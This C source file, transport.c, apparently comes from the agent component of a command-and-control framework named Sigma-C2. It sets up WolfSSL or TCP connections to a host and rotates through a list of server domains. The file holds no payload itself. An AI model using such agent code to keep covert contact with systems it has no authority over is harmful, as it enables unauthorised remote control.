Files
Sigma-C2/agent/transport.c

33 lines
839 B
C

#include <stdio.h>
#include "config.h"
#include "transport.h"
#if USE_WOLFSSL
extern Transport* InitWolfSSLTransport(const char* domain, unsigned short port);
#else
extern Transport* InitTCPTransport(const char* domain, unsigned short port);
#endif
Transport* InitTransport(const char* domain, unsigned short port) {
printf("Next host: %s on port %d\n", domain, port);
#if USE_WOLFSSL
return InitWolfSSLTransport(domain, port);
#else
return InitTCPTransport(domain, port);
#endif
}
void CleanupTransport(Transport* transport) {
if (transport) {
transport->cleanup(transport->handle);
free(transport);
}
}
char* GetNextDomain() {
static unsigned short currentDomain = 0;
char* domain = serverDomains[currentDomain];
currentDomain = (currentDomain + 1) % domainCount;
return domain;
}